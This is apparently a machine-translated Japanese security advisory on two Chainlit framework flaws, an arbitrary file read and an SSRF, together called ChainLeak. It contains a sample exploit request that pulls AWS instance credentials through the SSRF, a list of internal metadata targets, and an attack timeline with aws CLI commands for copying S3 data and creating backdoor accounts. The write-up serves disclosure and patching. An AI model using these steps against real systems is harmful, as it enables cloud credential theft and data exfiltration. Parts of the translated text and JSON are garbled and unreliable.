I. 脆弱性の原則
1.1 チェーンリット・フレームワークの概要
Chainlitは、会話型チャットボットを作成するための一般的なオープンソースです。AIフレームワークPythonは、LLMアプリケーションを構築するための重要なツールとなっている。Python Software Foundationの統計によると
- 週間ダウンロード:: 220,000回以上
- 累計ダウンロード数:: 730万人以上
- メインアプリケーション:: 生成AIアプリケーションの高速開発、LLMチャットインターフェース、エージェントシステム開発
- コア機能Web UI、メッセージ管理、セッション制御、ファイルアップロードなどを提供します。
チェーンリット・フレームワークのコア・アーキテクチャは以下の通り:
- フロントエンドのウェブインターフェース(Reactベース)
- バックエンドのFlask/FastAPIサービス
- SQLAlchemy ORM データレイヤー
- ファイル処理とアップロードモジュール
- プロジェクト管理およびセッション管理システム
使い勝手がよく、広く普及しているため、チェーンリット・フレームワークのセキュリティ脆弱性は大きな影響を与える。
1.2 ChainLeakの脆弱性コンビナトリアル
ザフラン・セキュリティの調査チームは、2025年に「ChainLeak」と総称される2つの危険度の高い脆弱性を発見し、責任を持って公表した:
| 脆弱性番号 | CVSSスコア | 脆弱性タイプ | 厳しさ |
|---|---|---|---|
| CVE-2026-22218 | 7.1 | 任意のファイル読み込み | ハイリスク |
| CVE-2026-22219 | 8.3 | SSRF(サーバーサイドリクエストフォージェリ) | 極めて高いリスク |
これら2つの脆弱性の主な特徴は以下の通りである:
- 認証バイパス認証された攻撃者が必要だが、ソーシャルワーカーや脆弱なパスワードでも入手可能。
- コンボアタック:: 2つの脆弱性を併用して、連鎖的な事象を引き起こすことができる。
- データの盗難APIキー、認証情報、ソースコードの漏洩につながる可能性があります。
- 特権の昇格:: アプリケーション層からインフラ層へのブレークスルー
- トラバース被害組織内への持続的なネットワーク侵入
1.3 影響を受ける展開シナリオ
Chainlitフレームワークは、一般的に以下のような展開環境で使用される:
特に、以下のシナリオでリスクが最も高くなる:
- クラウド展開: AWS EC2/ECS、Azure App Service、Google Cloud Run
- 機密データOpenAI APIキー、データベース認証情報、内部サービスキーの統合
- SQLAlchemyバックエンドデータベースとしてSQLiteを使用した展開
- 弱アクセス制御厳格な認証メカニズムの導入の失敗
脆弱性の詳細分析
2.1 CVE-2026-22218: 任意のファイル読み取りの脆弱性
脆弱性の原則
影響を受けるエンドポイント: /プロジェクト/エレメント 更新プロセス
根本原因:: ユーザー・コントロール・フィールドの入力検証の欠如
トリガー条件認証された攻撃者
攻撃プロセス。
研究者たちは、以下の記事を読むことによってこれを行った。 /proc/self/environ 抽出に成功した:
- OpenAI APIキー
- データベース接続文字列
- AWSアクセス認証
- サードパーティ・サービス・キー
- 内部APIエンドポイントアドレス
2.2 CVE-2026-22219. SSRFの脆弱性
脆弱性の原則
影響を受けるエンドポイント: /プロジェクト/エレメント 更新プロセス (SQLAlchemy バックエンド)
根本原因ユーザー入力 URL が認証されていません。
トリガー条件認証された攻撃者 + SQLAlchemyバックエンドの設定
CVSSスコア8.3(非常に高いリスク)
SSRFの攻撃プロセス。
テスト環境では、攻撃者はアクセスを試みることができる:
| 目的 | 住所 | 使用 | 露出 |
|---|---|---|---|
| AWSメタデータ | http://169.254.169.254/latest/meta-data | IAMロールの取得 | 極めて高い |
| AWSセキュリティ認証情報 | http://169.254.169.254/…/security-credentials/ | テンポラリーキー | 極めて高い |
| グーグルGCP | http://metadata.google.internal/... | GCPサービスアカウント | 極めて高い |
| 社内データベース | http://db.internal:5432 | データベースのスキャン | 御前 |
| レディスキャッシュ | http://redis.internal:6379 | キャッシュ中毒 | 御前 |
| 内部API | http://api.internal:8080/admin | 特権の昇格 | 御前 |
この脆弱性は、Chainlitがクラウドサーバーインスタンス(例えばAWS)上で実行されている場合に最も大きな被害をもたらす:
# ステップ1:IAMロール名の取得
GET /proc/self/environ → Chainlitから環境変数を読み込む
→ EC2インスタンス情報を発見する
# ステップ2:SSRFによるメタデータへのアクセス
POST /project/element → {url: “http://169.254.169.254/latest/meta-data/iam/security-credentials/”}.
→ Chainlitサーバーが攻撃者に代わってリクエストを送信する。
# ステップ3:AWS一時認証情報の取得
反応だ。
{
“「AccessKeyId”: “ASIAXXX...”、,
“「SecretAccessKey”: “...”、,
“「SessionToken”: “...”、,
“「有効期限”: “...”
}
# ステップ4: AWSリソースにアクセスするための認証情報を使用する
aws s3 ls -access-key ASIAXXX... -secret-key ...
aws rds describe-db-instances
aws ec2 describe-instances
脆弱性の影響:
- S3ストレージバケットの内容が流出
- RDSデータベース制御
- 重要業務システムの乗っ取り
- AWSの全アカウント停止
2.3 脆弱性の連鎖攻撃
この2つの悪用を組み合わせることで、さらに強力で破壊的な力が生まれる:
脆弱性の連鎖攻撃プロセス。
“「Chainlitのこれら2つの脆弱性は、機密データの漏洩、特権の昇格、システム内での横方向への移動など、様々な組み合わせで利用される可能性があります。攻撃者がサーバー上の任意のファイルへの読み取りアクセス権を獲得するとAIそうなると、アプリケーションのセキュリティはすぐに壊れてしまう」。”
III.脆弱性POCと攻撃デモンストレーション
3.1 CVE-2026-22218 任意のファイルからの POC の読み取り
略
3.2 CVE-2026-22219 SSRF 脆弱性 POC
HTTPリクエストデモ
# Step 1: Chainlitアプリにログインする
# ステップ2:AWSセキュリティ認証情報の取得
POST /api/project/element HTTP/1.1
ホスト:vulnerable-chainlit.app.com
認証:ベアラ eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
コンテントタイプ:application/json
{
“url”: “http://169.254.169.254/latest/meta-data/iam/security-credentials/my-instance-profile-役割”、,
“メソッド”: “GET”
}
# レスポンス:200 OK
{
“status”: 200.,
“content”:“{\”Code\”:\”Success\”,\”LastUpdated\”:\”2025-12-10T12:00:00Z\”,\”Type\”:\”AWS-HMAC”, ”AccessKeyId”:¦”ASIAXXXXXXXXXXX”, ”SecretAccessKey”SecretAccessKey”::¦”pLWXXXXXXXXXXXXXXXXXX”,”¦”Token”::¦「AQoYXd”AQoDYXdzEPT//wXXXXXXXXXXXX...\”,\”Expiration\”:\”2025-12-10t18:00:00z"}"、,
“「stored”: true、,
“session_id”: “sess_def456”
}
3.3 実際の攻撃シナリオのデモンストレーション
取る:: AWSにデプロイされたChainlitアプリケーションへの攻撃
タイムライン
分T+0: 攻撃者は弱いパスワードアカウント(admin/admin123)にアクセスする。
フィッシングメールによるソーシャルワーカー
T+2分:CVE-2026-22218で/proc/self/environを読む
取得:AWS_ACCESS_KEY_ID、DATABASE_URL、OPENAI_API_KEY
T+4分:.envファイルの読み込み
取得:データベースパスワード、その他のAPIキー
T+6分: CVE-2026-22219を使用したSSRF経由でのAWSメタデータへのアクセス
ターゲット:http://169.254.169.254/latest/meta-data/iam/security-credentials/
T+8分: AWS一時セキュリティ認証情報の取得
└─ AccessKeyId、SecretAccessKey、SessionToken、Expiration
T+10分: 取得した認証情報を使用するAWS CLIの設定
└─ aws configure -access-key XXXX -secret-key YYYY
T+12分: 組織内のすべてのS3ストレージバケットをリストアップする
└─ aws s3 ls
T+15分:S3から機密データ(ソースコード、コンフィギュレーション、ユーザーデータ)をダウンロード
└─ aws s3 cp s3://prod-backups/ ./backups/ -再帰的
T+20分:RDSデータベースへのアクセス
ユーザーテーブル、オーダーフォーム、機密顧客データのエクスポート
T+25分:他のAWSリソースの検索とアクセス
Lambda関数、DynamoDB、鍵管理、CloudFormation
T+30分:バックドアアカウントの作成と永続化メカニズム
IAMユーザーの新規作成、キーの追加、セキュリティグループの変更
T+45分:トータルフォール
攻撃者は被害者のAWS環境を長期にわたってコントロールすることができる。
IV.推奨される保護プログラム
緊急修理
- バージョン2.9.4以上へのアップグレード
pip install -upgrade chainlit>=2.9.4
- バージョンチェック
python -c “import chainlit; print(chainlit.__version__)”
# 必須 >= 2.9.4
V. 参考文献
すじ
[1] NVD - CVE-2026-22218
https://nvd.nist.gov/vuln/detail/CVE-2026-22218
[2] NVD - CVE-2026-22219
https://nvd.nist.gov/vuln/detail/CVE-2026-22219
[3] Zafran Security - ChainLeak脆弱性の発見
https://www.zafransecurity.com/chainlit-vulnerabilities
[4] チェンリット公式ドキュメント
https://docs.chainlit.io/get-started/overview
元記事はChief Security Officerによるもので、転載の際はhttps://www.cncso.com/jp/chainlit-ai-framework-data-leakage.html。





